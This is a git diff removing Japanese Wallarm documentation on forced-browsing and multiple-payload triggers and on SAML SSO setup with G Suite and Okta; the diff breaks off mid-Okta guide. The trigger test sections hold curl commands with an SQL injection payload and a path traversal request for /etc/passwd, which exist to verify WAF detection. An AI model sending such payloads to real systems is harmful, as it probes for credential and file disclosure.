- ご自身の環境で**Forced browsing**トリガーをテストするには、以下のトリガー設定およびリクエスト中のドメインを、任意のパブリックドメイン（例：`example.com`）に置き換えてください。 - -[設定](#configuring)セクションで説明したトリガーをテストするには: - -1. 保護対象のURIに対して、設定したしきい値を超える数のリクエストを送信します。たとえば、`https://book-sale-example.com/config.json`へ50件のリクエストを送信します（`https://book-sale-example.com/**.**`に一致します）。 - - ```bash - for (( i=0 ; $i<51 ; i++ )) ; do curl https://book-sale-example.com/config.json ; done - ``` -2. トリガーの反応が**Denylist IP address**の場合、Wallarm Console → **IP lists** → **Denylist**を開き、送信元IPアドレスがブロックされていることを確認します。 - - トリガーの反応が**Graylist IP address**の場合、Wallarm Consoleの**IP lists** → **Graylist**を確認します。 -3. **Attacks**セクションを開き、リクエストが強制ブラウジング攻撃として一覧に表示されていることを確認します。 - - ![インターフェース上の強制ブラウジング攻撃](../../images/user-guides/events/forced-browsing-attack.png) - - 表示されるリクエスト数は、トリガーのしきい値超過後に送信されたリクエスト数に対応します（[行動的攻撃の検知の詳細](../../attacks-vulns-list.md#attack-types)）。この数が5を超える場合、リクエストのサンプリングが適用され、リクエストの詳細は最初の5hitsに対してのみ表示されます（[リクエストのサンプリングの詳細](../../user-guides/events/grouping-sampling.md#sampling-of-hits)）。 - - 強制ブラウジング攻撃を検索するには、`dirbust`フィルターを使用できます。すべてのフィルターは[検索の使用方法](../../user-guides/search-and-filters/use-search.md)に記載しています。 - -### 要件と制限 - -**要件** - -強制ブラウジング攻撃からリソースを保護するには、実際のクライアントIPアドレスが必要です。フィルタリングノードがプロキシサーバーまたはロードバランサーの背後にデプロイされている場合は、実際のクライアントIPアドレスが表示されるように[設定](../using-proxy-or-balancer-en.md)してください。 - -**制限** - -強制ブラウジング攻撃の兆候を探索する際、Wallarmノードは他の攻撃タイプの兆候を含まないHTTPリクエストのみを分析します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/latest-ja/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index 03e72de344..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1,70 +0,0 @@ -# 複数の攻撃を行う発信元からの保護 - -Wallarmが[blocking mode](../../admin-en/configure-wallarm-mode.md)のときは、悪意のあるペイロードを含むすべてのリクエストを自動的にブロックし、正当なリクエストのみを通過させます。同一IPからの異なる悪意のあるペイロードの数（一般に「複数攻撃実行者」と呼びます）が指定したしきい値を超えた場合のWallarmの動作を設定することで、アプリケーションやAPIに対する追加の保護を構成できます。 - -そのような実行者は自動的にdenylistに追加でき、以後その発信元からのすべてのリクエストをブロックします。過去に多数の悪意のあるリクエストを送っているという事実にもとづき、個々のリクエストが悪性かどうかの解析に時間をかけずに遮断します。 - -## 設定 - -以下の例を参考に、複数種類の攻撃を行う発信元からの保護の設定方法を確認します。 - -たとえば、あるIPから1時間に3件を超える悪意のあるペイロードが検出されたら、そのIPを完全にブロックするとします。そのために、対応するしきい値を設定し、発信元IPを1時間ブロックするようにシステムに指示します。 - -この保護を有効にするには: - -1. Wallarm Console → **Triggers**を開き、トリガー作成のウィンドウを開きます。 -1. 条件として**Number of malicious payloads**を選択します。 -1. しきい値を`同一IPからの悪意のあるリクエストが1時間に3件を超える`に設定します。 - - !!! info "カウントされないもの" - [カスタム正規表現](../../user-guides/rules/regex-rule.md)に基づく実験的なペイロード。 - -1. フィルターは設定しませんが、他のケースでは次を単独または組み合わせて使用できます。 - - * **Type**は、リクエストで検出された攻撃の[タイプ](../../attacks-vulns-list.md)またはリクエストが向けられた脆弱性のタイプです。 - * **Application**は、リクエストを受け取る[アプリケーション](../../user-guides/settings/applications.md)です。 - * **IP**は、リクエストの送信元となるIPアドレスです。フィルターは単一のIPのみを受け付け、サブネット、ロケーション、送信元タイプは許可しません。 - * **Domain**は、リクエストを受け取るドメインです。 - * **Response status**は、リクエストに対して返されるレスポンスコードです。 - -1. **Denylist IP address** - `Block for 1 hour`のトリガーリアクションを選択します。しきい値を超えると、Wallarmは発信元IPを[denylist](../../user-guides/ip-lists/overview.md)に追加し、その後のすべてのリクエストをブロックします。 - - なお、複数攻撃実行者に対する保護によってボットIPがdenylistに入れられた場合でも、デフォルトでは、当該発信元からのブロックされたリクエストに関する統計をWallarmが収集し、[表示](../../user-guides/ip-lists/overview.md#requests-from-denylisted-ips)します。 - - ![デフォルトのトリガー](../../images/user-guides/triggers/trigger-example-default.png) - -1. トリガーを保存し、[Cloudとノードの同期が完了する](../configure-cloud-node-synchronization-en.md)のを待ちます（通常は2〜4分です）。 - -## Pre-configured trigger - -新規の会社アカウントには、事前構成済み（デフォルト）の**Number of malicious payloads**トリガーが用意されており、1時間以内に3種類を超える[悪意のあるペイロード](../../glossary-en.md#malicious-payload)を送信した場合に、IPを1時間Graylistに入れます。 - -[Graylist](../../user-guides/ip-lists/overview.md)は疑わしいIPアドレスの一覧で、ノードは次のように処理します。GraylistにあるIPが悪意のあるリクエストを送ると、ノードはそれらをブロックし、正当なリクエストは許可します。これに対し、[denylist](../../user-guides/ip-lists/overview.md)はアプリケーションへの到達が一切許可されないIPアドレスを示し、denylistにある送信元からのトラフィックは正当なものであってもノードがブロックします。IPのGraylistingは、[false positives](../../about-wallarm/protecting-against-attacks.md#false-positives)の低減を目的としたオプションの1つです。 - -このトリガーはノードのどのフィルタリングモードでも有効になるため、ノードのモードに関係なくIPをGraylistに入れます。 - -ただし、ノードがGraylistを分析するのは**safe blocking**モードのときだけです。GraylistにあるIPからの悪意のあるリクエストをブロックするには、まずその特徴を理解したうえで、ノードの[mode](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)をsafe blockingに切り替えてください。 - -Brute force、Forced browsing、Resource overlimit、Data bomb、Virtual patchの攻撃タイプのhitsは、このトリガーでは対象外です。 - -デフォルトのトリガーは一時的に無効化、変更、削除できます。 - -## テスト - -以下は[事前構成済みのトリガー](#pre-configured-trigger)向けのテスト例です。ご利用のトリガーに合わせて調整できます。 - -1. 保護対象のリソースに次のリクエストを送信します。 - - ```bash - curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' - curl 'http://localhost/?id=1%27%20select%20version();' - curl http://localhost/instructions.php/etc/passwd - ``` - - ここには、[SQLi](../../attacks-vulns-list.md#sql-injection)、[XSS](../../attacks-vulns-list.md#crosssite-scripting-xss)、[Path Traversal](../../attacks-vulns-list.md#path-traversal)タイプの悪意のあるペイロードが4つ含まれています。 -1. Wallarm Console → **IP lists** → **Graylist**を開き、リクエストの送信元IPアドレスが1時間Graylistに入っていることを確認します。 -1. **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![UI上の3つの悪意のあるペイロード](../../images/user-guides/triggers/test-3-attack-vectors-events.png) - - 攻撃を検索するには、`multiple_payloads`の[search tag](../../user-guides/search-and-filters/use-search.md#search-by-attack-type)を使用できます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/sso/intro.md b/docs/latest-ja/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 912a643545..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1,40 +0,0 @@ -# SAML SSO認証の概要 - -シングルサインオン(SSO)技術を使用して、貴社のユーザーをWallarm Consoleに対して認証できます。Wallarmはサービスプロバイダー(SP)として動作し、GoogleやOktaなどSAML標準をサポートする任意のアイデンティティプロバイダー(IdP)とシームレスに統合します。 - -![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -## 利用可能なオプション - -### プロビジョニング - -WallarmのSSO連携は、プロビジョニングの有無にかかわらず設定できます。プロビジョニングとは、SAML SSOソリューションからWallarmへデータを自動的に転送することです。SAML SSOソリューションのユーザーおよびそのグループメンバーシップが、Wallarmへのアクセスとそこでの権限を定義します。ユーザー管理はすべてSAML SSOソリューション側で実施されます。 - -プロビジョニングをオフにする場合、SAML SSOソリューションに存在するユーザーに対応するユーザーをWallarm側に作成する必要があります。ユーザーロールもWallarmで定義し、SSOでログインすべきユーザーを選択できます。残りのユーザーはログイン/パスワードを使用します。また、Strict SSOオプションを有効化して、会社アカウントの全ユーザーに一括でSSO認証を適用できます。 - -SSOを使用するユーザー: - -* ログインとパスワードで認証することはできず、二要素認証(2FA)を有効化することもできません。 -* プロビジョニングを使用している場合、Wallarm側から無効化や削除をすることはできません。 - -プロビジョニングの詳細および未使用時に選択できるオプションについては[こちら](setup.md#step-4-saml-sso-solution-configure-provisioning)をご覧ください。 - -### テナントごとの権限 - -[マルチテナンシー](../../../installation/multi-tenant/overview.md)機能を使用し、ユーザーにテナントごとに異なる権限を付与したい場合は、このオプションを有効化するために[Wallarmサポートチーム](https://support.wallarm.com/)にご連絡ください。 - -この機能で何ができるかの例を考えてみます。SAML SSOソリューションに`Department A`というグループがあり、テナントが2つ、`TEST environment`と`PROD environment`あるとします。このグループのユーザーには、TESTでは管理権限(**Administrator**ロール)、PRODでは限定的な権限(**Analyst**ロール)を付与したいとします。 - -これを行うには、different permissions in different tenantsオプションを有効化し、[設定](setup.md#tenant-dependent-permissions)する必要があります。 - -また、このオプションを使用すると、SAML SSOソリューショングループごとに、特定のテナントのみにアクセスを許可し、他のテナントへはアクセスさせないように設定することもできます。たとえば、`Department B`のSAML SSOソリューショングループはTESTのみにアクセスし(権限は任意に設定)、他にはアクセスしないようにできます。 - -## 有効化と設定 - -デフォルトでは、Wallarmでの認証用SSOサービスは有効になっておらず、Wallarm ConsoleのIntegrationsセクションに該当ブロックは表示されません。 - -SSOサービスを有効化するには、[Wallarmサポートチーム](https://support.wallarm.com/)にご連絡ください。 - -サービスが有効化されたら、Wallarm側とSAML SSOソリューション側の両方で必要な設定を行えます。詳細は[こちら](setup.md)をご覧ください。 - -なお、WallarmはSAML標準をサポートする任意のソリューションと統合できますが、同時に有効化できるSSO連携は1つだけです。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/sso/setup.md b/docs/latest-ja/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index 4d4e3279fb..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1,184 +0,0 @@ -# SAML SSO認証の設定 - -[img-disable-sso-provider]: ../../../images/admin-guides/configuration-guides/sso/disable-sso-provider.png -[doc-setup-sso-gsuite]: gsuite/overview.md -[doc-setup-sso-okta]: okta/overview.md - -本記事では、Wallarmの[SAML SSO認証](intro.md)を有効化・設定する一般的な手順について説明します。 - -また、[G Suite](sso-gsuite.md)および[Okta](sso-okta.md)のSAML SSOソリューション向けの例も確認できます。 - -## 手順1：SSOサービスを有効化する - -デフォルトでは、Wallarmでの認証用SSOサービスは無効であり、Wallarm Consoleの**Integrations**セクションに対応ブロックは表示されません。 - -SSOサービスを有効化するには、[Wallarm support team](https://support.wallarm.com/)に連絡してください。デフォルトでは[プロビジョニング](#step-4-saml-sso-solution-configure-provisioning)付きのSSOが提案されます。 - -* 有効化後は、ログインとパスワードによる認証はどのユーザーも利用できません。必要に応じてフォールバックアカウントをリクエストしてください。フォールバックアカウントではログインとパスワードの入力を維持します。 -* ユーザーの無効化や削除はWallarm側では行えません。 - - -## 手順2（Wallarm）：メタデータを生成 - -SAML SSOソリューション側で入力するためのWallarmメタデータが必要です。 - -1. 管理者権限でWallarm Consoleにログインしていることを確認します。 -1. Wallarm Consoleで**Integrations** → **SSO SAML AUTHENTICATION**に移動し、該当するインテグレーションを開始します。 - - Google、Okta、またはその他の（**Custom**）SAML SSOソリューションを統合できます。同時に有効化できるSSOのインテグレーションは1つのみです。 - - ![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -1. SSO設定ウィザードの**Send details**ステップで、SAML SSOソリューションに送信するメタデータを確認します。 -1. メタデータをコピーするか、XMLとして保存します。 -1. SSOデータ交換に追加の検証が必要なSAML SSOソリューションの場合は、[**Extended security**](#extended-security)チェックボックスを選択します。 - - -## 手順3（SAML SSOソリューション）：アプリケーションを設定 - -1. SAML SSOソリューションにログインします。 -1. Wallarmへのアクセスを提供するアプリケーションを設定します。 -1. アプリケーションのメタデータをコピーするか、XMLとして保存します。 -1. アプリケーションが有効化され、ユーザーがアクセスできることを確認します。 - - -## 手順4（SAML SSOソリューション）：プロビジョニングを設定 - -**プロビジョニング**とは、SAML SSOソリューションからWallarmへのデータ自動転送です。SAML SSOソリューション側のユーザーとそのグループ所属がWallarmへのアクセスとそこでの権限を決定し、ユーザー管理はすべてSAML SSOソリューション側で実施します。 - -これを機能させるには、属性マッピングを設定します。 - -1. Wallarmにアクセスを提供するアプリケーションで、次の属性をマッピングします。 - - * `email` - * `first_name` - * `last_name` - * ユーザーグループを`wallarm_role:[role]`にマッピング。ここで`role`は次のいずれかです。 - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - ![Integrations - SSO、Oktaでのマッピング例](../../../images/admin-guides/configuration-guides/sso/okta/wallarm-sso-okta-mapping.png) - - すべてのロールの説明は[こちら](../../../user-guides/settings/users.md#user-roles)を参照してください。 - - SAML SSOソリューションが異なる属性へのグループマッピングをサポートしない場合は、すべてのグループを`wallarm_roles`タグにマッピングします（Googleの[ケース](sso-gsuite.md#step-4-g-suite-configure-provisioning-part-1)と同様）。その後、Wallarm側でグループをロールにマッピングしてください — [手順6](#step-6-wallarm-configure-provisioning-optional)を参照してください。 - - !!! warning "上書きのオプション" - different permissions in different tenantsオプションが有効な場合、グループからロールへのマッピングは[異なる方法](#tenant-dependent-permissions)で構成され、[上書き](#override-general-sso-mapping)により基本のマッピングが置き換えられます。 - -1. 変更を保存します。 - -**プロビジョニングを無効にする** - -[Wallarm support team](https://support.wallarm.com/)に連絡することで、プロビジョニングを無効にできます。無効な場合、SAML SSOソリューションに存在するユーザーに対応するユーザーをWallarm側で作成する必要があります。ユーザーロールもWallarm Consoleで定義してください。 - -プロビジョニングが無効な場合は、ユーザーを手動で作成し、ロールを設定し、SSOでログインさせるユーザーを選択します。その他のユーザーはログインとパスワードを使用します。リクエストに応じて、Wallarmサポートは**Strict SSO**オプションを有効にすることもできます。これは、会社アカウントのすべてのユーザーに対して一括でSSO認証を有効にします。Strict SSOのその他の特性は次のとおりです。 - -* アカウントの既存ユーザーすべての認証方法がSSOに切り替わります。 -* 新規ユーザーはデフォルトでSSOを認証方法として取得します。 -* 認証方法は、いずれのユーザーでもSSO以外に切り替えられません。 - -プロビジョニングが無効な場合のユーザー管理は、Wallarm Console → **Settings** → **Users**で、[こちら](../../../user-guides/settings/users.md)の説明に従って実施します。SAML SSOソリューションとのマッピングでは`email`属性のみを使用します。 - -## 手順5（Wallarm）：SSO SAMLソリューションのメタデータを入力 - -1. Wallarm Consoleで、SSO設定ウィザードの**Upload metadata**ステップに進みます。 -1. 次のいずれかを実施します。 - - * G SuiteのメタデータをXMLファイルとしてアップロードします。 - * メタデータを手動で入力します。 - - -## 手順6（Wallarm）：プロビジョニングを設定（オプション） - -この手順は、SAML SSOソリューションが異なる属性へのグループマッピングをサポートせず、すべてのグループが`wallarm_roles`タグにマッピングされる場合（Googleの[ケース](sso-gsuite.md#step-4-g-suite-configure-provisioning-part-1)と同様）にのみ実施してください。 - -1. **Roles mapping**ステップに進みます。 -1. 1つ以上のSSOグループをWallarmのロールにマッピングします。利用可能なロールは次のとおりです。 - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - すべてのロールの説明は[こちら](../../../user-guides/settings/users.md#user-roles)を参照してください。 - - ![SSOグループからWallarmロールへのマッピング - Wallarmでのマッピング](../../../images/admin-guides/configuration-guides/sso/sso-mapping-in-wallarm.png) - -1. SSO設定ウィザードを完了します。Wallarmは、SAML SSOソリューションとの間でデータが送受信可能かをテストします。 - - -## Extended security - -SAML SSOソリューション（KeycloakやOktaなど）は、Wallarmを含むアプリケーションとの接続時に追加のセキュリティ検証を必要とする場合があります。これには次が含まれます。 - -* 署名によるSAMLリクエストとレスポンスの検証要件 -* SAMLリクエストとレスポンスの暗号化要件 - -このようなSAML SSOソリューションとの統合のために、Wallarmには**Extended security**機能があります。使用方法： - -1. Wallarmで、[**Generate metadata**](#step-2-wallarm-generate-metadata)ステップにて**Extended security**オプションを選択します。 -1. メタデータをXMLとして保存します。証明書データおよびSAML SSOソリューション向けの適切な設定がXMLに追加されます。 -1. SAML SSOソリューションで、[**Configure application**](#step-3-saml-sso-solution-configure-application)ステップにて、提供されたXMLをインポートしてすべてのオプションを自動的に正しく設定します。以下のKeycloakの例を参照してください。 - - ![Extended security - Keycloakの例](../../../images/admin-guides/configuration-guides/sso/sso-extended-security-keycloak-example.png) - - -## テナントごとの権限 - -[**different permissions in different tenants**](intro.md#tenant-dependent-permissions)オプションが有効な場合、次のように権限を構成します。 - -1. **Global administrator**としてWallarm Consoleにログインしていることを確認します。 -1. **Settings** → **Groups**に移動します。 -1. **Add group**をクリックし、SAML SSOソリューショングループ名にバインドします。 -1. ロールを設定し、**Add**をクリックします。 - - ![SSO、different permissions in different tenants、グループの作成](../../../images/admin-guides/configuration-guides/sso/sso-iam-group-create.png) - - グループが作成され、グループ一覧に表示されます。 - -1. グループのメニューから**Edit group settings**を選択します。 -1. グループページが表示されます。テナントの一覧を設定します。 - - ![SSO、different permissions in different tenants、グループへのテナント追加](../../../images/admin-guides/configuration-guides/sso/sso-iam-group-tenants.png) - - これにより、このSAML SSOソリューショングループのユーザーは、指定した権限（ロール）で、リストされたテナントにアクセスできるようになります。 - -1. 別のグループを追加し、同じSAML SSOソリューショングループ名にバインドします。 -1. 別のロールを設定します。 -1. 別のテナント一覧を設定します。 - - これにより、このSAML SSOソリューショングループのユーザーは、別の権限（別のロール）で、これら他のテナントにアクセスできるようになります。 - -**特定のテナントへのアクセスのみ**：異なるSAML SSOソリューショングループのユーザーが、特定のテナントのみにアクセスでき、その他にはアクセスできないように構成することもできます。 - -同じSAML SSOユーザーが、同一テナントに対して異なる権限でのアクセスを付与する複数のグループに属している場合は、より広い権限が適用されます。 - -!!! info "管理者" - - 特定のSAML SSOソリューショングループのユーザーに、Wallarm（すべてのテナント）への特権（管理）アクセスを付与したい場合は、Wallarm ConsoleのSSO設定ウィザードで**Roles mapping**ステップに進み、SSOグループを**Global administrator**ロールにバインドしてください。 - - このSAML SSOソリューショングループのユーザーは、他のSAML SSOソリューショングループに含まれている場合でも、いかなる制限も受けません。 - - ![SSO、different permissions in different tenants、Global administratorの例外](../../../images/admin-guides/configuration-guides/sso/sso-iam-global-administrators.png) - -**一般マッピングの上書き** - -different permissions in different tenantsオプションを有効にすると、[一般的なマッピング](#step-4-saml-sso-solution-configure-provisioning)が上書きされることに注意してください。例： - -* `Analytic`グループを通常`wallarm_role:analytic`にマッピングしており、テナントが5つある場合、後からdifferent permissions in different tenantsオプションを有効にすると、**Groups**を作成・管理するまで`Analytic`グループのユーザーはどのテナントにもアクセスできなくなります（一般マッピングは無視されます）。 -* その後、5つのテナントのうち3つへのアクセスを`Analytic`グループに付与するグループを作成した場合、残りの2つには引き続きアクセスできません（一般マッピングは無視されます）。 -* 一部のグループのユーザーに管理者以外の権限で全テナントへのアクセスを提供したい場合は、[technical tenant account](../../../installation/multi-tenant/overview.md#tenant-accounts)にアクセスするための**Global something**ロールのグループを作成してください。 - -## 無効化と削除 - -**Integrations**セクションからSSOを無効化・削除できるのは、[プロビジョニング](#step-4-saml-sso-solution-configure-provisioning)がオフの場合のみです。オフにするには、[Wallarm support team](https://support.wallarm.com/)に連絡してください。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/latest-ja/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index e4881eace5..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1,139 +0,0 @@ -# G SuiteとのSSO接続 - -[img-gsuite-console]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-console.png -[img-gsuite-add-app]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-add-app.png -[img-fetch-metadata]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-fetch-metadata.png -[img-fill-in-sp-data]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-fill-in-sp-data.png -[img-app-page]: ../../../images/admin-guides/configuration-guides/sso/gsuite/gsuite-app-page.png -[link-gsuite-adm-console]: https://admin.google.com -[img-sp-wizard-transfer-metadata]: ../../../images/admin-guides/configuration-guides/sso/gsuite/sp-wizard-transfer-metadata.png -[img-transfer-metadata-manually]: ../../../images/admin-guides/configuration-guides/sso/gsuite/transfer-metadata-manually.png -[img-sp-wizard-finish]: ../../../images/admin-guides/configuration-guides/sso/gsuite/sp-wizard-finish.png - -本ガイドでは、アイデンティティプロバイダとしての[G Suite](https://gsuite.google.com/)(Google)サービスを、サービスプロバイダとして動作するWallarmに接続する手順を説明します。 - -手順を実行するには、WallarmとG Suiteの両方で管理者権限を持つアカウントが必要です。 - -## 手順1(Wallarm): SSOサービスを有効化する - -デフォルトでは、Wallarmでの認証用SSOサービスは有効化されておらず、Wallarm Consoleの**Integrations**セクションに対応するブロックは表示されません。 - -SSOサービスを有効化するには、[Wallarmサポートチーム](https://support.wallarm.com/)に連絡してください。デフォルトでは[プロビジョニング](#step-4-g-suite-configure-provisioning-part-1)付きのSSOが提案されます: - -* 有効化後は、ログインとパスワードによる認証は全ユーザーで使用できません。必要に応じてフォールバックアカウントを依頼してください。これにより、ログイン/パスワード入力での認証を維持できます。 -* ユーザーの無効化や削除はWallarm側ではできません。 -* [複数テナント](../../../installation/multi-tenant/overview.md)がある場合、Oktaでは[テナント依存の権限](intro.md#tenant-dependent-permissions)オプションを使用できます。この可否はWallarmサポートと相談して決定してください。 - -## 手順2(Wallarm): メタデータを生成する - -G Suite側に入力するためにWallarmのメタデータが必要です: - -1. Wallarm Consoleで、**Integrations** → **SSO SAML AUTHENTICATION**に移動し、**Google SSO**の設定を開始します。 - - ![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -1. SSO configuration wizardの**Send details**ステップで、G Suiteサービスに渡す必要があるWallarmのメタデータを確認します。 - - ![Wallarmのメタデータ](../../../images/admin-guides/configuration-guides/sso/gsuite/sp-metadata.png) - - * **Wallarm Entity ID**は、アイデンティティプロバイダ向けにWallarmアプリケーションが生成する一意のアプリケーション識別子です。 - * **Assertion Consumer Service URL(ACS URL)**は、アイデンティティプロバイダがSamlResponseパラメータ付きのリクエストを送信する、Wallarm側アプリケーションのアドレスです。 - -1. メタデータをコピーするか、XMLとして保存します。 - -## 手順3(G Suite): アプリケーションを設定する - -G Suiteでアプリケーションを設定するには: - -1. Googleの[admin console][link-gsuite-adm-console]にログインします。 -1. **Apps**に移動します。 - - ![G Suite admin console][img-gsuite-console] - -1. **SAML apps** → **Add a service/App to your domain**をクリックします。 -1. **Setup my own custom app**をクリックします。 - - ![G Suiteに新しいアプリケーションを追加][img-gsuite-add-app] - - G Suiteのメタデータが提供されます: - - * **SSO URL** - * **Entity ID** - * **Certificate** (X.509) - -1. メタデータをコピーするか、XMLとして保存します。 -1. **Next**をクリックします。 - - ![メタデータの保存][img-fetch-metadata] - -1. Wallarmのメタデータを入力します。必須フィールド: - - * **ACS URL** = Wallarmの**Assertion Consumer Service URL**パラメータ - * **Entity ID** = Wallarmの**Wallarm Entity ID**パラメータ - -1. 必要に応じて残りのパラメータを入力し、**Next**をクリックします。 - - ![サービスプロバイダ情報の入力][img-fill-in-sp-data] - -1. **Finish**をクリックします。作成したアプリケーションのページにリダイレクトされます。 - - ![G Suiteのアプリケーションページ][img-app-page] - -1. **Edit Service** → **Service status** → **ON for everyone**で、作成したアプリケーションへのアクセスをG Suiteユーザーに付与します。 -1. 変更を保存します。 - -## 手順4(G Suite): プロビジョニングを設定する - パート1 - -**プロビジョニング**とは、SAML SSOソリューション(G Suite)からWallarmへデータを自動転送する仕組みです。G Suiteのユーザーとそのグループ所属により、Wallarmへのアクセスと権限が決まります。ユーザー管理はすべてG Suite側で行います。 - -これを機能させるには、属性マッピングを設定します: - -1. G Suiteのアプリケーションで、**Add new mapping**を使用して次をマッピングします: - - * `email` - * `first_name` - * `last_name` - * ユーザーグループ(複数可)を`wallarm_roles`タグに - - ![SAML SSOソリューション - G Suite - マッピング](../../../images/admin-guides/configuration-guides/sso/simple-sso-mapping.png) - -1. 変更を保存します。 - - プロビジョニングの設定は、Wallarm側の[手順6](#step-6-wallarm-configure-provisioning-part-2)で続行します。 - -## 手順5(Wallarm): G Suiteのメタデータを入力する - -1. Wallarm ConsoleのSSO configuration wizardで、**Upload metadata**ステップに進みます。 -1. 次のいずれかを実行します: - - * G SuiteのメタデータをXMLファイルとしてアップロードします。 - - ![メタデータのアップロード][img-sp-wizard-transfer-metadata] - - * 次のようにメタデータを手動で入力します: - - * **SSO URL** → **Identity provider SSO URL** - * **Entity ID** → **Identity provider issuer** - * **Certificate** → **X.509 Certificate** - - ![メタデータの手動入力][img-transfer-metadata-manually] - - -## 手順6(Wallarm): プロビジョニングを設定する - パート2 - -1. **Roles mapping**ステップに進みます。 -1. 1つ以上のSSOグループをWallarmのロールにマッピングします。利用可能なロール: - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - すべてのロールの説明は[こちら](../../../user-guides/settings/users.md#user-roles)をご覧ください。 - - ![SSOグループからWallarmロールへのマッピング - Wallarmでの設定](../../../images/admin-guides/configuration-guides/sso/sso-mapping-in-wallarm.png) - -1. SSO configuration wizardを完了します。Wallarmは、G Suiteとの間でデータを転送できるかをテストします。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/sso/sso-okta.md b/docs/latest-ja/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index da169069b0..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1,141 +0,0 @@ -# OktaとのSSO接続 - -[link-okta]: https://www.okta.com/ -[img-dashboard]: ../../../images/admin-guides/configuration-guides/sso/okta/dashboard.png -[img-general]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-general.png -[img-saml]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-saml.png -[img-saml-preview]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-saml-preview.png -[img-feedback]: ../../../images/admin-guides/configuration-guides/sso/okta/wizard-feedback.png -[link-okta-docs]: https://help.okta.com/en/prod/Content/Topics/Apps/Apps_App_Integration_Wizard.htm -[img-transfer-metadata-manually]: ../../../images/admin-guides/configuration-guides/sso/okta/transfer-metadata-manually.png -[img-sp-wizard-finish]: ../../../images/admin-guides/configuration-guides/sso/okta/sp-wizard-finish.png -[img-sp-metadata]: ../../../images/admin-guides/configuration-guides/sso/okta/sp-metadata.png -[img-assignments]: ../../../images/admin-guides/configuration-guides/sso/okta/assignments.png - -本ガイドでは、サービスプロバイダーとして動作するWallarmに、アイデンティティプロバイダーとして[Okta][link-okta]サービスを接続する手順を説明します。 - -手順を実行するには、WallarmとOktaの両方で管理者権限を持つアカウントが必要です。 - -## 手順1 (Wallarm): SSOサービスを有効化する - -デフォルトでは、Wallarmでの認証用SSOサービスは有効化されておらず、Wallarm Consoleの**Integrations**セクションに対応するブロックは表示されません。 - -SSOサービスを有効化するには、[Wallarmサポートチーム](https://support.wallarm.com/)に連絡してください。既定では[プロビジョニング](#step-4-okta-configure-provisioning)ありのSSOが提案されます: - -* 有効化後は、ログインIDとパスワードによる認証はユーザーは行えません。必要に応じてフォールバックアカウントを依頼してください - そのアカウントではログインID/パスワードの入力が可能なままです。 -* ユーザーの無効化や削除はWallarm側からは行えません。 -* [複数テナント](../../../installation/multi-tenant/overview.md)がある場合、Oktaと併用することで[テナント依存の権限](intro.md#tenant-dependent-permissions)オプションを使用できます。この可否はWallarmサポートと相談して決定してください。 - -## 手順2 (Wallarm): メタデータを生成する - -!!! info "拡張セキュリティ" - OktaとWallarm間の接続に追加のセキュリティ検証を適用したい、または適用する必要がある場合は、本手順で利用できる[拡張セキュリティ](setup.md#extended-security)オプションの使用をご検討ください。 - -Okta側で入力するためにWallarmのメタデータが必要です: - -1. Wallarm Consoleで**Integrations** → **SSO SAML AUTHENTICATION**に進み、**Okta SSO**の構成を開始します。 - - ![Integrations - SSO](../../../images/admin-guides/configuration-guides/sso/sso-integration-add.png) - -1. SSO構成ウィザードで、**Send details**手順にて、Oktaサービスへ渡す必要があるWallarmのメタデータを確認します。 - - ![Wallarmのメタデータ][img-sp-metadata] - - * **Wallarm Entity ID**は、アイデンティティプロバイダー向けにWallarmアプリケーションが生成する一意のアプリケーション識別子です。 - * **Assertion Consumer Service URL (ACS URL)**は、アイデンティティプロバイダーがSamlResponseパラメータ付きのリクエストを送信する、Wallarm側アプリケーションのアドレスです。 - -1. メタデータをコピーするか、XMLとして保存します。 - -## 手順3 (Okta): アプリケーションを構成する - -Oktaでアプリケーションを構成するには: - -1. 管理者としてOktaにログインします。 -1. **Applications** → **Applications** → **Create App Integration**をクリックします。 - - ![Oktaダッシュボード][img-dashboard] - -1. **Sign‑on method** → “SAML 2.0”を設定します。 -1. 